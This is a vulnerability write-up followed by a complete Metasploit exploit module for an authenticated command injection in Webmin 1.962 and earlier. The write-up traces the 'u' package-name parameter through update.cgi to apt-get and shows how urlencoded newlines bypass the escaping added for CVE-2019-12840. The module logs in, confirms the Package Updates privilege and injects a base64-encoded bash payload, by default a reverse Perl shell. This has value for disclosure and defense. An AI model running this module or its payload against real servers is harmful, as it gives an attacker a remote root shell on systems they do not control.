This module exploits an arbitrary command execution vulnerability in Webmin 1.962 and lower versions. Any user authorized to the "Package Updates" module can execute arbitrary commands with root privileges. It emerged by circumventing the measure taken for CVE-2019-12840.
s/\\(-)|\\(.)/string/g; escape is not enough for prevention. Therefore, since the package name variable is placed directly in the system command, we can manipulate it using some escape characters that HTTP supports. For example, we can escape control by dropping the command line down one line. We can do this with "%0A" and "%0C" urlencoded row values.Also, for paylad to work correctly, we must add double an ampersand(&&) to the end of the payload (%26%26)
Source Code Analysis and Vulnerability Discovery.
Let's start by examining the "update.cgi" where we send the HTTP request.
The "u" parameter goes through some operations by assigning it to the @pkgs variable in "update.cgi".
In line 125, the slash is extracted and the process continues. With a little test, we can see that the use of "/" is not wanted.
This can fix a potential "\" backslash on the syntax side.
We know that the functions in "update.cgi" are called from "package-updates-lib.pl". We can follow what "package_install ()" can do here.
# package_install(package-name, [system], [new-install])
Install some package, either from an update system or from Webmin. Returns a list of updated package names. We can find this note.
package_install($p, $s, $in{'mode'} eq 'new');
$p is package-name for us. We'll focus on it.
$p going to be $name in package_install() func. Our $name variable is sent to the "update_system" control on line 321.
This function is defined in "software-lib.pl" for "$config{'package_system'}-lib.pl".
The system command to be used for update is specified in this area. I perform the analysis on ubuntu, a debian based operating system, so "apt-get" will be used on my system. The system check has been done. We can go back to "package-updates-lib.pl".
According to the system detected in line 350, the function in the file "{'system'}- lib.pl" will be used. So my system will use "apt", the update_system_install() function on line 355 will find its correspondence in the "apt-lib.pl" file.
When "apt-lib.pl" is examined, you can see functions belonging to the function
update_system_install([package], [&in], [no-force]).
In this section, the command to be run on the system is prepared. Here in line 25, "\" backslash are placed in front of some special characters.
This update took place on October 14, 2019 with update title "Don't escape safe symbols in packages names, in particular dashes and…" The reason is CVE-2019-12840, which is the vulnerability I shared before.
You can access it by clicking here.
Precaution has been taken, but s/\\(-)|\\(.)/string/g; escape is not enough for this.
The package name is a variable to the HTTP request we make and does not enter any other control.
Therefore, since the package name variable is placed directly in the system command, we can manipulate it using some escape characters that HTTP supports. For example, we can escape control by dropping the command line down one line. We can do this with "%0A" and "%0C" urlencoded row values. Let's analyze this situation in the live system.
User "akkus2" only has "Software Package Updates" privilege. It has no right to switch to the command line or do any other action.
We sent our required HTTP request. In this request we will see what is happening in the background by sending the "|" pipe symbol directly. I've also added an IP address and we'll see what to do for the symbol point "." too for example.
When we take a look at the command sent to the command line, we can see that the backslashes has been added for pipe and point. Therefore, we cannot edit to intervene in the command and run an extra system command. However, if we can jump to a sub-command line in the system, we can inject a new command maybe :) lets try...
I add "% 0A" before the pipe.
As you can see, the "ifconfig" was broken from the whole and processed directly in the sub-command line, so the backslash was bypassed. There are those who ask "So will a long payload to write to get the remote shell be a problem?"
Bypass will not be valid for just one character. We're jump to sub line at the beginning of where we're already manipulating. Let's analyze this with an example.
To get reverse shell, I prepared a payload and sent it to the server.
As you can see, many characters in the payload have been escaped with a backslash.
But that won't matter. Also, for paylad to work correctly, we must add double an ampersand(&&) to the end of the payload (%26%26)
The payload we send will fall to the next line again and it will work fine.
At the end of this work, we bypassed the measure taken for CVE-2019-12840 vulnerability, now a new CVE must be obtained :)
Below you can access the metasploit module I prepared for this vulnerability.
It is similar to the previous one. I just added a few required characters.
Webmin 1.962 - PU Escape Bypass - Remote Command Execution
##
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin 1.962 - PU Escape Bypass - Remote Command Execution',
'Description' => %q(
This module exploits an arbitrary command execution vulnerability in Webmin
1.962 and lower versions. Any user authorized to the "Package Updates"
module can execute arbitrary commands with root privileges.
It emerged by circumventing the measure taken for CVE-2019-12840.
s/\\(-)|\\(.)/string/g; escape is not enough for prevention.
Therefore, since the package name variable is placed directly in the system command,
we can manipulate it using some escape characters that HTTP supports.
For example, we can escape control by dropping the command line down one line.
We can do this with "%0A" and "%0C" urlencoded row values.Also, for paylad to work correctly,
we must add double an ampersand(&&) to the end of the payload (%26%26)
),
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>' # Vulnerability Discovery, MSF PoC module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2020-'],
['URL', 'https://www.pentest.com.tr/exploits/Webmin-1962-PU-Escape-Bypass-Remote-Command-Execution.html']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => false,
'PAYLOAD' => 'cmd/unix/reverse_perl'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.962', {}]],
'DisclosureDate' => '2020-12-21',
'DefaultTarget' => 0)
)
register_options [
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password']),
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])
]
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
def login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'session_login.cgi'),
'cookie' => 'testing=1', # it must be used for "Error - No cookies"
'vars_post' => {
'page' => '',
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD']
}
})
if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
return $1
end
return nil unless res
''
end
def check
cookie = login
return CheckCode::Detected if cookie == ''
return CheckCode::Unknown if cookie.nil?
vprint_status('Attempting to execute...')
# check version
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "sysinfo.cgi"),
'cookie' => "sid=#{cookie}",
'vars_get' => { "xnavigation" => "1" }
})
if res && res.code == 302 && res.body
version = res.body.split("Webmin 1.")[1]
return CheckCode::Detected if version.nil?
version = version.split(" ")[0]
if version <= "962"
# check package update priv
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "package-updates/"),
'cookie' => "sid=#{cookie}"
})
if res && res.code == 200 && res.body =~ /Software Package Update/
print_status("NICE! #{datastore['USERNAME']} has the right to >>Package Update<<")
return CheckCode::Vulnerable
end
end
end
print_error("#{datastore['USERNAME']} doesn't have the right to >>Package Update<<")
print_status("Please try with another user account!")
CheckCode::Safe
end
def exploit
cookie = login
if cookie == '' || cookie.nil?
fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
end
print_good("Session cookie: #{cookie}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),
'headers' => { 'Referer' => "#{peer}/sysinfo.cgi?xnavigation=1" },
'cookie' => "sid=#{cookie}"
)
unless res && res.code == 200
fail_with(Failure::Unknown, 'Request failed')
end
print_status("Attempting to execute the payload...")
run_update(cookie)
end
def run_update(cookie)
@b64p = Rex::Text.encode_base64(payload.encoded)
perl_payload = 'bash -c "{echo,' + "#{@b64p}" + '}|{base64,-d}|{bash,-i}"'
payload = Rex::Text.uri_encode(perl_payload)
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "sid=#{cookie}",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'package-updates', 'update.cgi'),
'headers' =>
{
'Referer' => "#{peer}/package-updates/?xnavigation=1"
},
# new vector // bypass to backslash %0A%7C{}%26%26
'data' => "redir=%2E%2E%2Fsquid%2F&redirdesc=Squid%20Proxy%20Server&mode=new&u=squid34%0A%7C#{payload}%26%26"
# for CVE-2019-12840 #'data' => "u=acl%2Fapt&u=%20%7C%20#{payload}&ok_top=Update+Selected+Packages"
})
end
end